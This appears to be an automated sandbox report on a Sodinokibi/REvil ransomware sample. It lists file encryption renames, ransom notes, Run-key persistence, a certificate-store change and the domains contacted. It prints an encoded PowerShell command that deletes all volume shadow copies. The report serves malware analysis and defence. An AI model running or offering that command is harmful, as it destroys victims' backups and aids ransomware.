Malware Analysis Report

2025-01-18 20:01

Sample ID 220124-bgkv2ahbhm
Target c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67
SHA256 c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67
Tags
$2a$10$i4qf7gefcz7lwodqqwwhhehj42u0knqewmijhygkdn1nhiwuca2va 1428 sodinokibi persistence ransomware
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V6

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67

Threat Level: Known bad

The file c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67 was found to be: Known bad.

Malicious Activity Summary

$2a$10$i4qf7gefcz7lwodqqwwhhehj42u0knqewmijhygkdn1nhiwuca2va 1428 sodinokibi persistence ransomware

Sodinokibi family

Sodin,Sodinokibi,REvil

Modifies extensions of user files

Enumerates connected drives

Adds Run key to start application

Drops file in System32 directory

Sets desktop wallpaper using registry

Drops file in Program Files directory

Suspicious use of AdjustPrivilegeToken

Modifies system certificate store

Suspicious behavior: EnumeratesProcesses

Suspicious use of WriteProcessMemory

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2022-01-24 01:06

Signatures

Sodinokibi family

sodinokibi

Analysis: behavioral1

Detonation Overview

Submitted

2022-01-24 01:06

Reported

2022-01-24 01:23

Platform

win7-en-20211208

Max time kernel

134s

Max time network

156s

Command Line

"C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe"

Signatures

Sodin,Sodinokibi,REvil

ransomware sodinokibi

Modifies extensions of user files

ransomware
Description Indicator Process Target
File renamed C:\Users\Admin\Pictures\UnregisterWait.raw => \??\c:\users\admin\pictures\UnregisterWait.raw.k7vkxh6 C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe N/A
File renamed C:\Users\Admin\Pictures\UseExport.tif => \??\c:\users\admin\pictures\UseExport.tif.k7vkxh6 C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe N/A
File opened for modification \??\c:\users\admin\pictures\SearchResume.tiff C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe N/A
File renamed C:\Users\Admin\Pictures\CompareApprove.crw => \??\c:\users\admin\pictures\CompareApprove.crw.k7vkxh6 C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe N/A
File renamed C:\Users\Admin\Pictures\ImportDismount.crw => \??\c:\users\admin\pictures\ImportDismount.crw.k7vkxh6 C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe N/A
File renamed C:\Users\Admin\Pictures\StopSync.png => \??\c:\users\admin\pictures\StopSync.png.k7vkxh6 C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe N/A
File renamed C:\Users\Admin\Pictures\SearchResume.tiff => \??\c:\users\admin\pictures\SearchResume.tiff.k7vkxh6 C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe N/A
File renamed C:\Users\Admin\Pictures\SuspendAdd.png => \??\c:\users\admin\pictures\SuspendAdd.png.k7vkxh6 C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe N/A
File opened for modification \??\c:\users\admin\pictures\SuspendTrace.tiff C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe N/A
File renamed C:\Users\Admin\Pictures\SuspendTrace.tiff => \??\c:\users\admin\pictures\SuspendTrace.tiff.k7vkxh6 C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe N/A

Adds Run key to start application

persistence
Description Indicator Process Target
Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\BV7BRrErOX = "C:\\Users\\Admin\\AppData\\Local\\Temp\\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe" C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe N/A

Enumerates connected drives

Description Indicator Process Target
File opened (read-only) \??\W: C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe N/A
File opened (read-only) \??\E: C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe N/A
File opened (read-only) \??\G: C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe N/A
File opened (read-only) \??\I: C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe N/A
File opened (read-only) \??\K: C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe N/A
File opened (read-only) \??\O: C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe N/A
File opened (read-only) \??\Q: C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe N/A
File opened (read-only) \??\V: C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe N/A
File opened (read-only) \??\A: C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe N/A
File opened (read-only) \??\H: C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe N/A
File opened (read-only) \??\J: C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe N/A
File opened (read-only) \??\M: C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe N/A
File opened (read-only) \??\D: C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe N/A
File opened (read-only) \??\B: C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe N/A
File opened (read-only) \??\F: C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe N/A
File opened (read-only) \??\P: C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe N/A
File opened (read-only) \??\R: C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe N/A
File opened (read-only) \??\S: C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe N/A
File opened (read-only) \??\T: C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe N/A
File opened (read-only) \??\X: C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe N/A
File opened (read-only) \??\L: C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe N/A
File opened (read-only) \??\N: C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe N/A
File opened (read-only) \??\U: C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe N/A
File opened (read-only) \??\Y: C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe N/A
File opened (read-only) \??\Z: C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe N/A

Drops file in System32 directory

Description Indicator Process Target
File opened for modification C:\Windows\System32\CatRoot2\dberr.txt C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe N/A

Sets desktop wallpaper using registry

ransomware
Description Indicator Process Target
Set value (str) \REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\3b310405v26.bmp" C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe N/A

Drops file in Program Files directory

Description Indicator Process Target
File opened for modification \??\c:\program files\CompleteSwitch.vssm C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe N/A
File opened for modification \??\c:\program files\UnprotectDisconnect.wps C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe N/A
File opened for modification \??\c:\program files\ExportRepair.3gp2 C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe N/A
File opened for modification \??\c:\program files\MeasureStart.inf C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe N/A
File opened for modification \??\c:\program files\PopResume.doc C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe N/A
File opened for modification \??\c:\program files\SubmitStep.xlsx C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe N/A
File created \??\c:\program files (x86)\microsoft sql server compact edition\v3.5\desktop\k7vkxh6-readme.txt C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe N/A
File opened for modification \??\c:\program files\EditCheckpoint.aiff C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe N/A
File opened for modification \??\c:\program files\SearchResolve.cr2 C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe N/A
File opened for modification \??\c:\program files\ConvertCompare.xlsb C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe N/A
File opened for modification \??\c:\program files\ResetSelect.vsdm C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe N/A
File opened for modification \??\c:\program files\RestoreConvertTo.3gp2 C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe N/A
File created \??\c:\program files (x86)\microsoft sql server compact edition\v3.5\k7vkxh6-readme.txt C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe N/A
File opened for modification \??\c:\program files\DebugRepair.ex_ C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe N/A
File opened for modification \??\c:\program files\GrantJoin.wmf C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe N/A
File opened for modification \??\c:\program files\RequestNew.fon C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe N/A
File created \??\c:\program files (x86)\microsoft sql server compact edition\k7vkxh6-readme.txt C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe N/A
File created \??\c:\program files (x86)\k7vkxh6-readme.txt C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe N/A
File opened for modification \??\c:\program files\ConfirmStart.xps C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe N/A
File opened for modification \??\c:\program files\ConnectExpand.m4a C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe N/A
File opened for modification \??\c:\program files\RegisterUninstall.M2V C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe N/A
File created \??\c:\program files\k7vkxh6-readme.txt C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe N/A
File opened for modification \??\c:\program files\AddShow.kix C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe N/A
File opened for modification \??\c:\program files\CheckpointGet.M2T C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe N/A
File opened for modification \??\c:\program files\ConvertToJoin.wax C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe N/A
File opened for modification \??\c:\program files\GrantUnregister.css C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe N/A
File opened for modification \??\c:\program files\RestoreUninstall.gif C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe N/A
File opened for modification \??\c:\program files\DismountUnblock.asf C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe N/A
File opened for modification \??\c:\program files\OpenRename.001 C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe N/A

Modifies system certificate store

evasion spyware trojan
Description Indicator Process Target
Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349 C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe N/A
Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 040000000100000010000000497904b0eb8719ac47b0bc11519b74d00f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d578112861900000001000000100000002aa1c05e2ae606f198c2c5e937c97aa2030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e3491d00000001000000100000002e0d6875874a44c820912e85e964cfdb140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b40b00000001000000180000004300b7004f00b7004d00b7004f00b7004400b7004f00000053000000010000002600000030243022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b06010505070308200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\system32\vssvc.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\system32\vssvc.exe N/A
Token: SeAuditPrivilege N/A C:\Windows\system32\vssvc.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe N/A

Processes

C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe

"C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==

C:\Windows\system32\wbem\unsecapp.exe

C:\Windows\system32\wbem\unsecapp.exe -Embedding

C:\Windows\system32\vssvc.exe

C:\Windows\system32\vssvc.exe

Network

Country Destination Domain Proto
US 8.8.8.8:53 ecpmedia.vn udp
VN 103.221.223.112:443 ecpmedia.vn tcp
US 8.8.8.8:53 triactis.com udp
FR 164.132.235.17:443 triactis.com tcp
US 8.8.8.8:53 www.triactis.com udp
FR 164.132.235.17:443 www.triactis.com tcp
US 8.8.8.8:53 promalaga.es udp
ES 194.224.229.231:443 promalaga.es tcp
ES 194.224.229.231:443 promalaga.es tcp
US 8.8.8.8:53 siliconbeach-realestate.com udp
GB 178.79.152.116:443 siliconbeach-realestate.com tcp
US 8.8.8.8:53 bigbaguettes.eu udp
ES 89.46.91.28:443 bigbaguettes.eu tcp
US 8.8.8.8:53 web.ion.ag udp
DE 188.68.56.212:443 web.ion.ag tcp
US 8.8.8.8:53 spacecitysisters.org udp
US 198.49.23.144:443 spacecitysisters.org tcp
US 198.49.23.144:443 spacecitysisters.org tcp
US 8.8.8.8:53 abogadosaccidentetraficosevilla.es udp
